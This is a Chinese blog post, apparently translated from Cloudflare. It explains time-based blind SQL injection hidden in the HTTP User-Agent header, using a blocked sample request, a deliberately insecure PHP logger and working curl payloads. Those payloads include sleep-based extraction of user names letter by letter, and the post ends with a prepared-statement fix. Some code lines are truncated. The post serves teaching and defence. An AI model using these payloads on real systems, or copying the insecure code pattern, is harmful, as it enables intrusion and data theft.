CloudFlare公司经常会收到客户询问为什么他们的一些请求会被 CloudFlare WAF 屏蔽。最近,一位客户就提出他不能理解为什么一个访问他主页简单的 GET 请求会被 WAF 屏蔽。
下面是被屏蔽的请求:
GET / HTTP/1.1
Host: www.example.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+'
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
正如他说的,一个简单的请求访问 WEB 主页,乍看之下好像没什么问题。除非你仔细查看 User-Agent
部分:
Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+
User-Agent
前半部分看起来挺正常的(好像是微软 IE 11),但是却以字符串 '+(select*from(select(sleep(20)))a)+
结尾。攻击者试图对 User-Agent
值进行 SQL 注入。
普通的 SQL 注入通常是对 URL 及其参数进行的,但这里攻击者却将 SQL 查询语句 select * from (select(sleep(20)))
隐藏在了 HTTP 头部的 User-Agent
字段之中 。这种技术通常被各种扫描器所使用,例如,sqlmap 的 -p
参数会尝试对 HTTP 请求头部字段进行注入。
许多 SQL 注入都是在尝试从网站中提取信息(例如用户名、密码或其他隐私信息)。但这条语句却不太一样,它请求数据库进程等待 20 秒。这种攻击属于 SQL 盲注,一般的 SQL 注入会将查询的结果返回到 WEB 页面中,而盲注的攻击者则看不到查询的输出,所以他们会另辟蹊径使用其他的方式来判断注入。两种常见的方法就是使 WEB 服务器产生错误或者产生延时。如上使用 sleep
会是 WEB 服务器等待 20 秒才进行响应,攻击者可以根据响应是否产生延时来判断是否存在注入漏洞。
为了更好的说明,我使用 PHP 创建了一个不安全的应用,其中会将 User-Agent
保存到 MySQL 数据库中。这类代码可能会存在于真实的应用中用来分析信息,例如统计访问次数。
在这个示例中,我忽略了所有良好安全的编码习惯,因为我想阐述下 SQL 的工作原理。
再次警告:千万不要复制/粘贴以下代码!因为这些代码并不规范。
query($query);
?>
Thanks for visiting
这段代码会连接到本地的 analytics
数据库,并将访客 HTTP 头部的 User-Agent
字段不加过滤的插入到数据库中。
这就是一个 SQL 注入的例子,但是因为我们的代码不会产生任何错误,所以攻击者无法通过报错来得知是否存在注入漏洞,除非他们使用类似 sleep()
之类的方法。
为了验证是否存在注入漏洞,只需要执行如下命令(其中 insecure.php
就是上述示例代码):
curl -A "Mozilla/5.0', (select*from(select(sleep(20)))a)) #" http://example.com/insecure.php
这样就会将 HTTP 头部的 User-Agent
字段设置为 Mozilla/5.0', (select*from(select(sleep(20)))a)) #
。而我们不安全的 PHP 代码会不加过滤就直接将这些字符串插入查询语句中,此时的查询语句变成了如下样子:
INSERT INTO visits (ua, dt) VALUES ('Mozilla/5.0', (select*from(select(sleep(20)))a)) #', '2016-05-17 03:16:06')
本来应该插入两个值,但现在只会插入一个值 Mozilla/5.0
并执行 (select*from(select(sleep(20)))a)
语句(这会使数据库休眠 20 秒)。而 #
是注释符,意味着后续的语句被注释并忽略了(就是忽略了插入日期)。
此时的数据库中会出现这样一个条目:
+---------------------+---------------+
| dt | ua |
+---------------------+---------------+
| 0 | Mozilla/5.0 |
+---------------------+---------------+
请注意,其中日期值为 0
,这正是 (select*from(select(sleep(20)))a)
语句执行的结果,另外 ua 的值为 Mozilla/5.0
,而这可能就是攻击者成功执行 SQL 注入后留下的唯一痕迹了。
下面是接收到上述请求后服务器的运行结果,我们使用 time
命令来看看这个过程到底需要多长时间:
$ time curl -v -A "Mozilla/5.0', (select*from(select(sleep(20)))a) #" http://example.com/insecure.php
* Connected to example.com port 80 (#0)
> GET /insecure.php HTTP/1.1
> Host: example.com
> User-Agent: Mozilla/5.0', (select*from(select(sleep(20)))a) #
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 16 May 2016 10:45:05 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: keep-alive
< Server: nginx
Thanks for visiting
* Connection #0 to host example.com left intact
real 0m20.614s
user 0m0.007s
sys 0m0.012s
看到 20 秒了吗,成功的执行了 SQL 注入。
看到这,你也许会想“这的确很简单,但是黑客好像并没有攻击我的网站啊”。
但不幸的是,丰富的 SQL 语句使得哪怕是只有 3 行 PHP 代码的 insecure.php
,也可以使得攻击者获得远不只使数据库睡眠 20 秒的效果。虽然攻击者执行的 INSERT INTO
的查询只会向数据库中写入数据,但这样仍然可以让他们提取出敏感信息和获取访问权限。
为了一个演示的例子,我们在数据库中创建了一个名为 user
的表,其中包含两个用户分别名为 root
和 john
。下面来展示攻击者是如何发现存在 john
用户的,他们可以手工构造用户名并根据相应时间来判断是否存在这个用户。
例如:
curl -A "Mozilla/5.0', (select sleep(20) from users where substring(name,1,1)='a')) #" http://example.com/insecure.php
这个访问会被立即响应,因为数据库中并没有以 a
打头的用户名,但是
curl -A "Mozilla/5.0', (select sleep(20) from users where substring(name,1,1)='j')) #" http://example.com/insecure.php
这个请求却会花费 20 秒时间。这样在猜出用户名的首字母后,攻击者就可以继续猜测用户名第二个、第三个字母等等,相同的技术还可以用来从数据库中提取其他数据。
如果我们的应用比较复杂,例如是一个博客的评论系统,那么我们可以利用这个漏洞将数据库的一些信息转存到一条评论中,这样我们就可以通过访问网页直接查看到数据库信息了,这种方法通常会在需要提取大量数据时使用。
加固代码最好的方式就是像如下这样:
prepare("INSERT INTO visits (ua, dt) VALUES (?, ?)");
$stmt->bind_param("ss", $_SERVER["HTTP_USER_AGENT"], date("Y-m-d h:i:s"));
$stmt->execute();
?>
Thanks for visiting
首先将 SQL 查询语句使用 prepare
进行准备,随后使用 bind_param
绑定两个参数( User-Agent
和日期),最后才是使用 execute
执行查询。
bind_param
可以确保一些 SQL 特殊字符会先被进行转义,随后才被执行。现在让我们来看一看在收到跟之前一样的 SQL 注入后数据库中的条目是什么样子的:
+---------------------+----------------------------------------------------+
| dt | ua |
+---------------------+----------------------------------------------------+
| 2016-05-17 04:46:02 | Mozilla/5.0',(select*from(select(sleep(20)))a)) # |
+---------------------+----------------------------------------------------+
此时,攻击者的 SQL 语句没有被执行而是被简单的存入了数据库当中。
SQL 注入是攻击者最喜欢使用的攻击方式之一,它可能出任何由攻击者掌控输入的 WEB 应用中。最容易想象的就是出现在各种表单或 URL 之中,但即使是 HTTP 请求头部也同样可能出现。所以从安全角度来说,任何由 WEB 浏览器发送给 WEB 应用的数据都应当被假设为是恶意的。